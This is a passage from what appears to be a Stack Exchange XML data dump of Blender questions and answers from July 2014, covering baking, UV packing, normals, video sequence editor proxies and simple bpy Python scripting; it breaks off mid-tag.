  <row Id="13961" PostTypeId="2" ParentId="13958" CreationDate="2014-07-11T20:04:41.433" Score="4" Body="&lt;p&gt;This depends on the diffuse color of your object.&lt;br&gt;&#xA;Make sure the color is set to white and the intensity is set to 1 before baking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fhXWO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oIpZU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-11T20:13:31.277" LastActivityDate="2014-07-11T20:13:31.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13962" PostTypeId="2" ParentId="13955" CreationDate="2014-07-11T21:46:31.907" Score="11" Body="&lt;p&gt;Packing quality controls how efficiently laid out the UV islands are on the texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A low pack quality means there is more texture space wasted (but faster unwrap), a higher value means the UV islands are better optimized to use the entire texture, at the expense of unwrapping time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1aRm5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-11T21:46:31.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13963" PostTypeId="2" ParentId="13949" CreationDate="2014-07-11T21:57:17.033" Score="3" Body="&lt;p&gt;To get the object to appear above the character, the simplest way is to just move the speech bubble mesh above the origin in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate the speech bubble, use the &lt;code&gt;Track To&lt;/code&gt; Actuator to make sure the object is always facing the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3EQB4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, even easier,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under material settings, set the speech bubble to 'billboard', this way, it will always point at the camera automatically. You'll need to make sure the normal of the mesh is pointing at the +X axis of the world for it to appear correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CU3ZD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-11T21:57:17.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13964" PostTypeId="2" ParentId="10769" CreationDate="2014-07-11T23:12:06.137" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Game_Engine/Logic/Controllers#Python_Controller&quot; rel=&quot;noreferrer&quot;&gt;These docs&lt;/a&gt; explain:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;Script Mode&lt;/h1&gt;&#xA;&lt;p&gt;In Script mode, the controller is linked to a script, the whole script&#xA;will be executed before the logic moves on. Everything in the script&#xA;will happen at the same frame, if the same value or attribute are&#xA;changed more than once, only the latest will be visible in the game&#xA;because of this. If for example the position of an object is changed&#xA;first to (100.0,100.0,100.0) but later in the same script changed to&#xA;(0.0,0.0,0.0), then only the (0.0,0.0,0.0) will be visible to the&#xA;player because the move to (100.0,100.0,100.0) happened on at the same&#xA;frame.&lt;/p&gt;&#xA;&lt;h1&gt;Module Mode&lt;/h1&gt;&#xA;&lt;p&gt;Since Blender 2.49 the Python module controller was added. Simply&#xA;choose Module instead of Script on your Python controller drop-down&#xA;menu. Then you define a function on that module and call that function&#xA;from the controller. Instead of writing “myScript.py” on the script&#xA;edit box, you’ll write “myModule.myFunc” on the module edit box. This&#xA;function will run every time the controller is called. But other&#xA;functions and variables outside of myFunc’s scope will only run once.&#xA;This is good for optimizing your code when you want to initiate&#xA;variables only once then use them later.&lt;/p&gt;&#xA;&lt;p&gt;The Python module controller supports any number of attributes, this&#xA;means packages are supported automatically. As well as&#xA;“myModule.myFunc” you can do “myPackage.myModule.myFunc”, nested&#xA;packages work too, as does method calls on class instances like:&#xA;“myPackage.myModule.myInstance.myMethod”. The python controller is&#xA;passed to the python function as an argument for functions that take&#xA;one arg.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Regrettably the 2.6x docs miss this info.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-11T23:46:41.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13965" PostTypeId="2" ParentId="13960" CreationDate="2014-07-11T23:21:35.310" Score="1" Body="&lt;p&gt;While transforming the lengths of connected edges will show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no way to make them display at all times.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-11T23:21:35.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13968" PostTypeId="1" CreationDate="2014-07-11T23:59:17.863" Score="1" ViewCount="2962" Body="&lt;p&gt;Which is easiest to do&amp;mdash;make a high poly model and then turn it into a low poly one? Or the other way around? &lt;/p&gt;&#xA;" OwnerUserId="2325" LastEditorUserId="599" LastEditDate="2014-07-12T00:29:00.033" LastActivityDate="2014-07-12T00:51:33.610" Title="Low poly to high poly, or high poly to low poly?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ClosedDate="2014-07-12T19:39:47.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="13970" PostTypeId="2" ParentId="13968" CreationDate="2014-07-12T00:22:38.253" Score="2" Body="&lt;p&gt;I'ts going to very much depend upon the model. In some cases, adding geometry will be easier, in other cases, removing geometry will be easier. There's not really a &quot;one size fits all&quot; answer to the question. If you're asking about a specific model, edit your question, and provide links to images or blend files.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-12T00:22:38.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13971" PostTypeId="2" ParentId="13768" CreationDate="2014-07-12T00:35:02.783" Score="2" Body="&lt;p&gt;It looks like the normals are not consistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those dark spots on the mesh are caused by flipped normals. By enabling face normals display in &lt;em&gt;3D view &gt; Properties region &gt; Mesh display &gt; Normals&lt;/em&gt;, you will notice that they are pointing the wrong direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWeeb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, select everything in edit mode (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all the normals should be facing outwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7z5ze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-12T00:35:02.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13972" PostTypeId="2" ParentId="13968" CreationDate="2014-07-12T00:51:33.610" Score="1" Body="&lt;p&gt;Short answer: from low to high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A model always start with basic shapes and low polygon objects, so what everybody does is to make a low polygon object and then add details. There is no easy process, it is the only process. Once you finish the project the amount of polygons can be adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing is to achieve the maximum amount of detail in the less amount of time.&lt;/p&gt;&#xA;" OwnerUserId="3691" LastActivityDate="2014-07-12T00:51:33.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13974" PostTypeId="1" AcceptedAnswerId="13975" CreationDate="2014-07-12T04:42:31.000" Score="7" ViewCount="11698" Body="&lt;p&gt;How do I get the &lt;strong&gt;surface area of a mesh&lt;/strong&gt;? Preferably no python involved.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2021-02-17T16:41:48.087" Title="Get surface area of a mesh?" Tags="&lt;mesh&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13975" PostTypeId="2" ParentId="13974" CreationDate="2014-07-12T04:58:13.137" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;Enable the '3D Print Toolbox' addon.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SexKl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SexKl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2.79&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Open the '3D Printing' tab in &lt;em&gt;3D view &amp;gt; Tool shelf&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Under statistics, press the &lt;strong&gt;Area&lt;/strong&gt; button. (there's also option for volume and other checks for geometry).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7QznQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QznQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2.8+&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Addons shelf has been moved on the right of the screen. Press &lt;kbd&gt;N&lt;/kbd&gt; in the 3D Viewport or click the arrow in the top right of the area to expand it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e8d2h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e8d2h.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="86891" LastEditDate="2021-02-17T16:41:48.087" LastActivityDate="2021-02-17T16:41:48.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13976" PostTypeId="1" CreationDate="2014-07-12T06:19:09.387" Score="1" ViewCount="1130" Body="&lt;p&gt;I'm editing some videos in the VSE with blender 2.7 and am experiencing pauses and lagging in audio, when I (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;), which is driving me MAD! &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I've  &quot;proxy/Timecode&quot; all video strips to 50% with build quality to 50% too (which was tedious for lots of clips) and strip, rebuilt proxy and strip timecode indices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've set the Memory cash limit to 2048, in the user preferences&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But still have Audio playback problems.&lt;br&gt;&#xA;I have included a blender file so you can see my settings. I have 6GB of Ram and a I5 processor.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has my computer run out of computing power?&lt;br&gt;&#xA; Have I not optimized a setting correctly?&lt;br&gt;&#xA;Or have I loaded too many clips into blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://app.box.com/s/hq6dthascw497tz8mkz9&quot; rel=&quot;nofollow&quot;&gt;blender file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="599" LastEditDate="2014-07-12T06:25:52.603" LastActivityDate="2015-03-05T17:33:56.953" Title="Lagging audio playback in the VSE?" Tags="&lt;video-sequence-editor&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13977" PostTypeId="1" AcceptedAnswerId="13978" CreationDate="2014-07-12T06:28:53.170" Score="2" ViewCount="865" Body="&lt;p&gt;Is there a way to apply a strip property (&lt;kbd&gt;n&lt;/kbd&gt;) to multiple strips without having to click on each strip individually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to proxy/timecode large number of strips, and it's become very tedious!&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="4785" LastEditDate="2014-07-12T06:33:53.293" LastActivityDate="2014-07-12T11:52:45.963" Title="Apply a strip property to multiple strips" Tags="&lt;workflow&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13978" PostTypeId="2" ParentId="13977" CreationDate="2014-07-12T06:42:52.173" Score="3" Body="&lt;p&gt;This is quite simple in python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for s in bpy.context.scene.sequence_editor.sequences:&#xA;    if s.type != 'SOUND':&#xA;        s.use_proxy = True&#xA;        s.proxy.build_25 = True&#xA;        s.proxy.build_50 = False&#xA;        s.proxy.build_75 = False&#xA;        s.proxy.build_100 = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will set &lt;code&gt;use_proxy&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt; for every strip in the current scene which is not a sound strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just paste it into the text editor (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt;) and press &lt;em&gt;Run Script&lt;/em&gt; or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-12T09:33:58.310" LastActivityDate="2014-07-12T09:33:58.310" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13979" PostTypeId="1" CreationDate="2014-07-12T07:44:04.973" Score="1" ViewCount="795" Body="&lt;p&gt;I want to use kinect Data Import to import data of kinect to blender, then apply that to a model in blender with kinect data import add-on. I used &lt;a href=&quot;http://blender.vsb.cz/index.php/en/kinect-blender/installation-kinect&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&#xA;link to get this done, but I have a problem understanding the last step:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now you have enable armature control using the Kinect data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5173" LastEditorUserId="599" LastEditDate="2014-09-09T21:36:44.450" LastActivityDate="2014-10-09T21:45:12.303" Title="How to import kinect data?" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13980" PostTypeId="2" ParentId="13934" CreationDate="2014-07-12T08:23:11.087" Score="3" Body="&lt;p&gt;Blender allows you to generate a Noise modifier for animations. This could give you a &quot;twinkling&quot; effect if you apply the noise to a material's value such as Emission, Intensity, Transparency, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, mouse-over the value you want to apply noise to. In this example I'm using Diffuse Intensity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKq3e.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;I&lt;/kbd&gt; to add a keyframe. If it works, you'll see the button turn yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkZ7d.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the Graph Editor and click on the channel used for controlling the Intensity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5IvAm.png&quot; alt=&quot;Graph Editor&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/LTyE1.png&quot; alt=&quot;Diffuse Intensity Channel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Graph Editor, open the Properties panel by either pressing &lt;kbd&gt;N&lt;/kbd&gt; or selecting View &gt;&gt; Properties. Under Modifiers, click Noise. This will give you a set of controls to manipulate the pseudo-randomization of the Intensity. This works on any value that can be animated, including colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XEmS9.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Cb2pW.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/47wk7.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5172" LastEditorUserId="599" LastEditDate="2014-07-12T08:48:09.343" LastActivityDate="2014-07-12T08:48:09.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13981" PostTypeId="1" AcceptedAnswerId="13988" CreationDate="2014-07-12T11:50:11.103" Score="2" ViewCount="321" Body="&lt;p&gt;Could someone please explain, line for line how this script works; in particular the dots in between the setting definitions &lt;code&gt;s.proxy.build_50&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for s in bpy.context.scene.sequence_editor.sequences:&#xA;    if s.type != 'SOUND':&#xA;        s.use_proxy = True&#xA;        s.proxy.build_25 = True&#xA;        s.proxy.build_50 = False&#xA;        s.proxy.build_75 = False&#xA;        s.proxy.build_100 = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm most interested in understanding how one finds out how to define other settings/switches. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can right click on for online Python reference. Also hover over them to see a bit of code; but looking at these has just confused me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a list of other settings / code to define them?&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="1363" LastEditDate="2014-07-12T13:30:29.297" LastActivityDate="2014-07-12T14:34:52.183" Title="Control of blender settings via script" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13982" PostTypeId="2" ParentId="13977" CreationDate="2014-07-12T11:52:45.963" Score="1" Body="&lt;p&gt;Also there is a more complete addon that can perform this task. &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Sequencer/Extra_Sequencer_Actions&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Sequencer/Extra_Sequencer_Actions&lt;/a&gt;&#xA;There are lots of copy actions in here.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-07-12T11:52:45.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13983" PostTypeId="2" ParentId="13785" CreationDate="2014-07-12T11:56:20.890" Score="2" Body="&lt;p&gt;To move a group at once, create a meta strip of the selected strips first, move them as suggested, then un-meta.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-07-12T11:56:20.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13984" PostTypeId="2" ParentId="13538" CreationDate="2014-07-12T11:59:58.327" Score="2" Body="&lt;p&gt;You could get a script writer to make a add strip effect option. The Transform Addon currently creates a transform strip upon key press. So it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently over at the BA forum, user &quot;snu&quot; is actively developing a VSE script that might add this function for you. &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-07-12T11:59:58.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13986" PostTypeId="1" AcceptedAnswerId="13989" CreationDate="2014-07-12T13:01:25.230" Score="14" ViewCount="20465" Body="&lt;p&gt;I try to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all()&#xA;bpy.ops.object.join()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my script. It selects all the stuff like &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; but fails on &lt;code&gt;join()&lt;/code&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;) with the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last):   File &quot;&quot;, line 1,&lt;br&gt;&#xA;  in    File &quot;C:\Program Files\Blender&lt;br&gt;&#xA;  Foundation\Blender\2.71\scripts\modules\bpy\ops.py&quot;, line 188, in&lt;br&gt;&#xA;  __ call __&lt;br&gt;&#xA;      ret = op_call(self.idname_py(), None, kw) RuntimeError: Operator bpy.ops.object.join.poll() failed, context is incorrect&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the message is from console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this work?&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; actually works.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="1363" LastEditDate="2014-07-12T13:59:58.473" LastActivityDate="2020-03-18T22:57:14.890" Title="How to join objects with Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13987" PostTypeId="2" ParentId="13981" CreationDate="2014-07-12T13:57:17.237" Score="3" Body="&lt;p&gt;&lt;code&gt;bpy.context.scene&lt;/code&gt; refers to the current scene, e.g. &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sequence Editor data is stored in the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Scene.html#bpy.types.Scene.sequence_editor&quot; rel=&quot;nofollow&quot;&gt;Scene type&lt;/a&gt;, and &lt;code&gt;.sequences&lt;/code&gt; contains the the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.SequenceEditor.html#bpy.types.SequenceEditor.sequences&quot; rel=&quot;nofollow&quot;&gt;top-level strips&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This iterates over all top-level sequences, whereas &lt;code&gt;s&lt;/code&gt; refers to a sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for s in bpy.context.scene.sequence_editor.sequences:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the sequence is of type &lt;code&gt;SOUND&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if s.type != 'SOUND':&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... the following code block is executed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        s.use_proxy = True&#xA;        s.proxy.build_25 = True&#xA;        s.proxy.build_50 = False&#xA;        s.proxy.build_75 = False&#xA;        s.proxy.build_100 = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A couple sequence properties are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other sequence types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; [item.identifier for item in bpy.types.Sequence.bl_rna.properties['type'].enum_items]&#xA;&#xA;['IMAGE', 'META', 'SCENE', 'MOVIE', 'MOVIECLIP', 'MASK', 'SOUND', 'CROSS', 'ADD', 'SUBTRACT', 'ALPHA_OVER', 'ALPHA_UNDER', 'GAMMA_CROSS', 'MULTIPLY', 'OVER_DROP', 'WIPE', 'GLOW', 'TRANSFORM', 'COLOR', 'SPEED', 'MULTICAM', 'ADJUSTMENT']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can pick a single sequence and get the type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; type(bpy.context.scene.sequence_editor.sequences[0])&#xA;&amp;lt;class 'bpy.types.SceneSequence'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the API docs to find out about the properties and methods:&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.SceneSequence.html&quot; rel=&quot;nofollow&quot;&gt;bpy.types.SceneSequence&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.proxy&lt;/code&gt; is a subtype, which has several own properties: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.SequenceProxy.html#bpy.types.SequenceProxy&quot; rel=&quot;nofollow&quot;&gt;bpy.types.SequenceProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't miss to read this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_api_reference.html&quot; rel=&quot;nofollow&quot;&gt;Blender/Python API Reference Usage: examples of how to use the API reference docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-07-12T14:34:52.183" LastActivityDate="2014-07-12T14:34:52.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13988" PostTypeId="2" ParentId="13981" CreationDate="2014-07-12T14:00:25.017" Score="2" Body="&lt;p&gt;bpy.context.scene.sequence_editor.sequences is a list like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;list = [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]&#xA;for element in list:&#xA;    print( element )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this would print:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a&#xA;b&#xA;c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the for loop assigns each element from the list to a variable executes the commands (print in this case) and advances to the next element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to your snippet &lt;code&gt;s&lt;/code&gt; gets on value after another from the defined sequences. Adding a print statement before the if statement would show something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;bpy_struct, ImageSequence(&quot;main_chart.jpg&quot;)&amp;gt;&#xA;&amp;lt;bpy_struct, ImageSequence(&quot;main_chart.jpg&quot;)&amp;gt;&#xA;&amp;lt;bpy_struct, SoundSequence(&quot;sound.wav&quot;)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you know the name of the classes (&lt;code&gt;ImageSequence&lt;/code&gt; or whatever is printed) and you can lookup the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/search.html?q=ImageSequence&amp;amp;check_keywords=yes&amp;amp;area=default&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dot is a syntax element that separates the name of an object by its properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also examine the available properties by using dir&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print( dir(s) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would print for an ImageSequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;['__doc__', '__module__', '__slots__', 'alpha_mode', 'animation_offset_end', &#xA;'animation_offset_start', 'bl_rna', 'blend_alpha', 'blend_type', 'channel', &#xA;'color_multiply', 'color_saturation', 'colorspace_settings', 'crop', 'directory', 'effect_fader', 'elements', 'frame_duration', 'frame_final_duration', &#xA;'frame_final_end', 'frame_final_start', 'frame_offset_end', 'frame_offset_start', 'frame_start', 'frame_still_end', 'frame_still_start', 'lock', 'modifiers', 'mute', 'name', 'proxy', 'rna_type', 'select', 'select_left_handle', 'select_right_handle', &#xA;'speed_factor', 'strip_elem_from_frame', 'strobe', 'swap', 'transform', 'type', &#xA;'update', 'use_crop', 'use_default_fade', 'use_deinterlace', 'use_flip_x', &#xA;'use_flip_y', 'use_float', 'use_linear_modifiers', 'use_proxy', 'use_proxy_custom_directory', 'use_proxy_custom_file', 'use_reverse_frames', 'use_translation']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a 